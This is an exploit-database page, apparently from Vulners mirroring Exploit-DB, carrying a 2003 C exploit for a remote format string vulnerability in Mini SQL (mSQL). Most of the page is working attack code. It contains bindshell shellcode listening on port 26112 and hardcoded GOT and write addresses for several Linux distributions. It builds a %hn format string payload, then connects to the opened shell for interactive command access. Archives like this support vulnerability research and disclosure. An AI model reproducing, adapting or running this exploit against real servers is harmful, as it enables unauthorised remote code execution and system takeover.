Lucene search
K

Mini SQL 1.0/1.3 - Remote Format String

🗓️ 28 Jul 2003 00:00:00Reported by lucipherType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 22 Views

Mini SQL is vulnerable to remote format string attacks, allowing arbitrary code execution.

Code
// source: https://www.securityfocus.com/bid/8295/info

Mini SQL (mSQL) has been reported prone to a remotely exploitable format string vulnerability, when handling user-supplied data.

Reportedly a remote attacker may send malicious format specifiers to trigger the issue. This vulnerability could permit a remote attacker to corrupt arbitrary locations in memory with attacker-supplied data, potentially allowing for execution of arbitrary code.

/* _ ________ _____ ______
 __ ___ ____ /____.------` /_______.------.___.----` ___/____ _______
 _/ \ _ /\ __. __// ___/_ ___. /_\ /_ | _/
 ___ ._\ . \\ /__ _____/ _ / \_ | /__ | _| slc | _____ _
  - -------\______||--._____\---._______//-|__ //-.___|----._____||
   / \ /
     \/
[*] mSQL < remote gid root exploit
 by lucipher & The Itch (www.netric.org|be)

------------------------------------------------------------------------------

[*] Exploits a format string hole in mSQL.

[*] Some functions are taken from mSQL's sourcecode

 Copyright (c) 2003 Netric Security and lucipher
 All rights reserved.

 THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED
 WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF
 MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.
*/

#include <stdio.h> /* required by fatal() */
#include <stdlib.h>
#include <stdarg.h> /* required by fatal() */
#include <unistd.h>
#include <sys/types.h>
#include <sys/time.h>
#include <string.h>
#include <time.h>
#include <fcntl.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <errno.h> /* required by errno */
#include <getopt.h> /* required by getopt() */
#include <signal.h>

#define PKT_LEN (128*1024)
#define ERR_BUF_LEN 200
#define resetError() bzero(msqlErrMsg,sizeof(msqlErrMsg))
#define chopError() { char *cp; cp = msqlErrMsg+strlen(msqlErrMsg) -1; \
    if (*cp == '\n') *cp = 0;}

#define NET_READ(fd,b,l) read(fd,b,l)
#define NET_WRITE(fd,b,l) write(fd,b,l)

#define SERVER_GONE_ERROR "server has gone...\n"
#define UNKNOWN_ERROR "foo!"

static char msqlErrMsg[200];
static u_char packetBuf[PKT_LEN + 4];
static int readTimeout;
u_char *packet = NULL;

int netReadPacket(int fd);
int netWritePacket(int fd);

/* bindshell shellcode */
char linux_code[78] = /* binds on port 26112 */
  "\x31\xdb\xf7\xe3\x53\x43\x53"
  "\x6a\x02\x89\xe1\xb0\x66\x52"
  "\x50\xcd\x80\x43\x66\x53\x89"
  "\xe1\x6a\x10\x51\x50\x89\xe1"
  "\x52\x50\xb0\x66\xcd\x80\x89"
  "\xe1\xb3\x04\xb0\x66\xcd\x80"
  "\x43\xb0\x66\xcd\x80\x89\xd9"
  "\x93\xb0\x3f\xcd\x80\x49\x79"
  "\xf9\x52\x68\x6e\x2f\x73\x68"
  "\x68\x2f\x2f\x62\x69\x89\xe3"
  "\x52\x53\x89\xe1\xb0\x0b\xcd"
  "\x80";

static void intToBuf(cp, val)
u_char *cp;
int val;
{
  *cp++ = (unsigned int) (val & 0x000000ff);
  *cp++ = (unsigned int) (val & 0x0000ff00) >> 8;
  *cp++ = (unsigned int) (val & 0x00ff0000) >> 16;
  *cp++ = (unsigned int) (val & 0xff000000) >> 24;
}

static int bufToInt(cp)
u_char *cp;
{
  int val;

  val = 0;
  val = *cp++;
  val += ((int) *cp++) << 8;
  val += ((int) *cp++) << 16;
  val += ((int) *cp++) << 24;
  return (val);
}

int netWritePacket(fd)
int fd;
{
  int len, offset, remain, numBytes;

  len = strlen((char *) packet);
  intToBuf(packetBuf, len);
  offset = 0;
  remain = len + 4;
  while (remain > 0) {
  numBytes = NET_WRITE(fd, packetBuf + offset, remain);
  if (numBytes == -1) {
  return (-1);
  }
  offset += numBytes;
  remain -= numBytes;
  }
  return (0);
}

int netReadPacket(fd)
int fd;
{
  u_char buf[4];
  int len, remain, offset, numBytes;

  remain = 4;
  offset = 0;
  numBytes = 0;
  readTimeout = 0;
  while (remain > 0) {
  /*
   ** We can't just set an alarm here as on lots of boxes
   ** both read and recv are non-interuptable. So, we
   ** wait till there something to read before we start
   ** reading in the server (not the client)
   */
  if (!readTimeout) {
  numBytes = NET_READ(fd, buf + offset, remain);
  if (numBytes < 0 && errno != EINTR) {
    fprintf(stderr,
    "Socket read on %d for length failed : ",
    fd);

    perror("");
  }
  if (numBytes <= 0)
    return (-1);
  }
  if (readTimeout)
  break;
  remain -= numBytes;
  offset += numBytes;

  }
  len = bufToInt(buf);
  if (len > PKT_LEN) {
  fprintf(stderr, "Packet too large (%d)\n", len);
  return (-1);
  }
  if (len < 0) {
  fprintf(stderr, "Malformed packet\n");
  return (-1);
  }
  remain = len;
  offset = 0;
  while (remain > 0) {
  numBytes = NET_READ(fd, packet + offset, remain);

  if (numBytes <= 0) {
  return (-1);
  }
  remain -= numBytes;
  offset += numBytes;
  }
  *(packet + len) = 0;
  return (len);
}

int msqlSelectDB(int sock, char *db)
{
  memset(msqlErrMsg, 0x0, sizeof(msqlErrMsg));

  packet = packetBuf+4;

  snprintf(packet, PKT_LEN, "%d:%s\n", 2, db);
  netWritePacket(sock);
  if (netReadPacket(sock) <= 0) {
  strcpy(msqlErrMsg, SERVER_GONE_ERROR);
  return (-1);
  }
  if (atoi(packet) == -1) {
  char *cp;

  cp = (char *) index(packet, ':');
  if (cp) {
  strcpy(msqlErrMsg, cp + 1);
  chopError();
  } else {
  strcpy(msqlErrMsg, UNKNOWN_ERROR);
  }
  return (-1);
  }

  return (0);
}

struct target {
 char *name; /* target description */
 unsigned long writeaddr; /* mSQL's errMsg + 18 + 8 address */
 unsigned long smashaddr; /* strcpy's GOT address */
 unsigned long pops; /* number of stack pops */
};

/* high and low words indexers */
enum { hi, lo };

/* default values. */
struct target targets[] = {
 /* name write smash pops */
 { "SlackWare 8.1 - mSQL 3.0p1", 0x80a169a, 0x080751ec, 113 },
 { "Debian 3.0 - mSQL 3.0p1", 134879034, 0x08075224, 113 },
 { "RedHat 8.0 - mSQL 3.0p1", 0x804b778, 0x08074c1c, 115 },
 { "RedHat 8.0 (II) - mSQL 3.0p1", 0x804b778, 0x08074c1c, 116 },
 { NULL, 0x0, 0x0, 0 }
};

void fatal(char *fmt, ...)
{
  char buffer[1024];
  va_list ap;

  va_start(ap, fmt);
  vsnprintf(buffer, sizeof (buffer) - 1, fmt, ap);
  va_end(ap);

  fprintf(stderr, "%s", buffer);
  exit(1);
}

/* resolve a given hostname */
unsigned long tcp_resolv(char *hostname)
{
  struct hostent *he;
  unsigned long addr;
  int n;

  he = gethostbyname(hostname);
  if (he == NULL) {
  n = inet_aton(hostname, (struct in_addr *) addr);
  if (n < 0)
  fatal("inet_aton: %s\n", strerror(errno));

  return addr;
  }

  return *(unsigned long *) he->h_addr;
}

/* routine to open a tcp/ip connection */
int tcp_connect(char *hostname, int port)
{
  struct sockaddr_in sin;
  int fd, n;

  sin.sin_addr.s_addr = tcp_resolv(hostname);
  sin.sin_family = AF_INET;
  sin.sin_port = htons(port);

  fd = socket(AF_INET, SOCK_STREAM, 6);
  if (fd < 0)
  return -1;

  n = connect(fd, (struct sockaddr *) &sin, sizeof (sin));
  if (n < 0)
  return -1;

  return fd;
}

int msql_login(char *hostname, unsigned short int port)
{
 char buffer[300], *p;
 int fd, n, opt;

 fd = tcp_connect(hostname, port);
 if (fd < 0)
  fatal("[-] couldn't connect to host %s:%u\n", hostname, port);

 setsockopt(fd, SOL_SOCKET, SO_KEEPALIVE, (char *) &opt, 4);

 memset(&buffer, 0x0, sizeof(buffer));
 n = read(fd, &buffer, sizeof(buffer) - 1);
 if (n < 0)
  fatal("[-] could not read socket: %s\n", strerror(errno));

 p = (char *)&buffer + 4;
 if (atoi(p) == -1)
  fatal("[-] bad handshake received.\n");
 p++;
 if (*p != ':') p++;
 p++;
 if (*p >= '1' && *p <= '3') {
  /* send buffer size within packet. */
  buffer[0] = (unsigned int) (5UL & 0x000000ff);
  buffer[1] = (unsigned int) (5UL & 0x0000ff00) >> 8;
  buffer[2] = (unsigned int) (5UL & 0x00ff0000) >> 16;
  buffer[3] = (unsigned int) (5UL & 0xff000000) >> 24;
  /* sorta like our login. */
  buffer[4] = 'r';
  buffer[5] = 'o';
  buffer[6] = 'o';
  buffer[7] = 't';
  buffer[8] = '\n';
  buffer[9] = '\0';

  write(fd, buffer, 9);
 }

 n = read(fd, buffer, sizeof(buffer) - 1);
 if (n < 0)
  fatal("[-] client failed in handshake.\n");

 printf("[+] connected to %s -> %u\n", hostname, port);
 return fd;
}

void msql_selectdb(int fd, char *database)
{
 unsigned char buffer[300];
 unsigned int len;

 len = 117;
 buffer[0] = (unsigned char)(len & 0x000000ff);
 buffer[1] = (unsigned char)(len & 0x0000ff00) >> 8;
 buffer[2] = (unsigned char)(len & 0x00ff0000) >> 16;
 buffer[3] = (unsigned char)(len & 0xff000000) >> 24;

 snprintf(&buffer[4], sizeof(buffer) - 1, "2:%s\n", database);
 len = write(fd, &buffer[0], len);

}

void shell(int fd)
{
 char buf[512];
 fd_set rfds;
 int l;

 write(fd, "id ; uname -a\n", 14);
 while (1) {
  FD_SET(0, &rfds);
  FD_SET(fd, &rfds);
  select(fd + 1, &rfds, NULL, NULL, NULL);

  if (FD_ISSET(0, &rfds)) {
 l = read(0, buf, sizeof (buf));
 if (l <= 0) {
  perror("read user");
  exit(EXIT_FAILURE);
 }
 write(fd, buf, l);
  }

  if (FD_ISSET(fd, &rfds)) {
 l = read(fd, buf, sizeof (buf));
 if (l == 0) {
  fatal("connection closed by foreign host.\n");
 } else if (l < 0) {
  perror("read remote");
  exit (EXIT_FAILURE);
 }
 write(1, buf, l);
  }

 }
}

void usage(void)
{
 fprintf(stderr, "mSQLexploit\n\n");
 fprintf(stderr, " -l\t\tlist available targets.\n");
 fprintf(stderr, " -t target\ttarget selection.\n");
 fprintf(stderr, " *** MANUAL ATTACK ***\n");
 fprintf(stderr, " -s [addr]\tsmash address.\n");
 fprintf(stderr, " -w [addr]\twrite address.\n");
 fprintf(stderr, " -p [num]\tnumber of pops.\n");
 exit(1);
}

int main(int argc, char **argv)
{
 struct target manual;
 struct target *target = NULL;
 unsigned short port = 0, addr[2];
 unsigned char split[4];
 char *hostname, buffer[200];
 int fd, opt;

 if (argc <= 1)
  usage();

 memset(&manual, 0x00, sizeof(struct target));
 while ((opt = getopt(argc, argv, "lht:s:w:p:")) != EOF) {
  switch (opt) {
  case 't': /* pre-written target selection */
 target = &targets[atoi(optarg)];
 break;
  case 'l':
 {
 int i;
 /* iterate through the list of targets and display. */
 for (i = 0; targets[i].name; i++)
  printf("[%d] %s\n", i, targets[i].name);

 exit(1);
 }
  case 'h':
 /* print exploit usage information */
 usage();
 break; /* never reached */
  case 's':
 if (target == NULL)
  target = &manual;

 target->name = "Manual Target";
 target->smashaddr = strtoul(optarg, NULL, 16);
 break;
  case 'w':
 if (target == NULL)
  target = &manual;

 target->name = "Manual Target";
 target->writeaddr = strtoul(optarg, NULL, 16) + 0x1a;
 break;
  case 'p':
 if (target == NULL)
  target = &manual;
 target->name = "Manual Target";
 target->pops = atoi(optarg);
  }
 }

 argc -= optind;
 argv += optind;

 if (argc <= 0) {
  fatal("choose a hostname and optionally a port\n");
 } else if (argc == 1) {
  hostname = argv[0];
 } else {
  hostname = argv[0];
  port = atoi(argv[1]) & 0xff;
 }
 if (target != NULL) {
  if (!strncmp(target->name, "Manual", 6))
 if (!target->smashaddr || !target->writeaddr ||
  !target->pops)
  fatal("exploit requires pop count and "
  "smash, write addresses: use -p and -w and -s "
  "to set them\n");
 } else {
  target = &target[0];
 }

 printf("[+] attacking %s -> %u\n", hostname, (port) ? port : 1114);

 fd = msql_login(hostname, (port) ? port : 1114);

 printf("[+] name %s\n", target->name);
 printf("[+] smash %08lx\n", target->smashaddr);
 printf("[+] write %08lx\n", target->writeaddr);
 printf("[+] Now building string...\n");

 memset(&buffer, 0x0, sizeof(buffer));

 addr[lo] = (target->writeaddr & 0x0000ffff);
 addr[hi] = (target->writeaddr & 0xffff0000) >> 16;

 /* split the address */
 split[0] = (target->smashaddr & 0xff000000) >> 24;
 split[1] = (target->smashaddr & 0x00ff0000) >> 16;
 split[2] = (target->smashaddr & 0x0000ff00) >> 8;
 split[3] = (target->smashaddr & 0x000000ff);

 /* build the format string */
 if (addr[hi] < addr[lo])
  snprintf(buffer, sizeof(buffer),
  "%c%c%c%c"
  "%c%c%c%c"

  "%s"

  "%%.%du%%%ld$hn"
  "%%.%du%%%ld$hn",

  split[3] + 2, split[2], split[1], split[0],
  split[3], split[2], split[1], split[0],
  linux_code,
  addr[hi] - 0x68, target->pops,
  addr[lo] - addr[hi], target->pops + 1);
 else
  snprintf(buffer, sizeof(buffer),
    "%c%c%c%c"
    "%c%c%c%c"

    "%s"

    "%%.%du%%%ld$hn"
    "%%.%du%%%ld$hn",

    split[3] + 2, split[2], split[1], split[0],
    split[3], split[2], split[1], split[0],
    linux_code,
    addr[lo] - 0x68, target->pops,
    addr[hi] - addr[lo], target->pops + 1);

 printf("[+] Trying to exploit...\n");
 msqlSelectDB(fd, buffer);
 switch (opt = fork()) {
 case 0:
  msqlSelectDB(fd, buffer);
  exit(1);
 case -1:
  fatal("[-] failed fork()!\n");
 default:
  break;
 }

 printf("[+] sleeping...\n");
 sleep(1);
 opt = tcp_connect(hostname, 26112);
 if (opt < 0)
  fatal("[-] failed! couldn't connect to bindshell!\n");

 printf("[+] shell!\n");
 shell(opt);

 return 0;
}

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation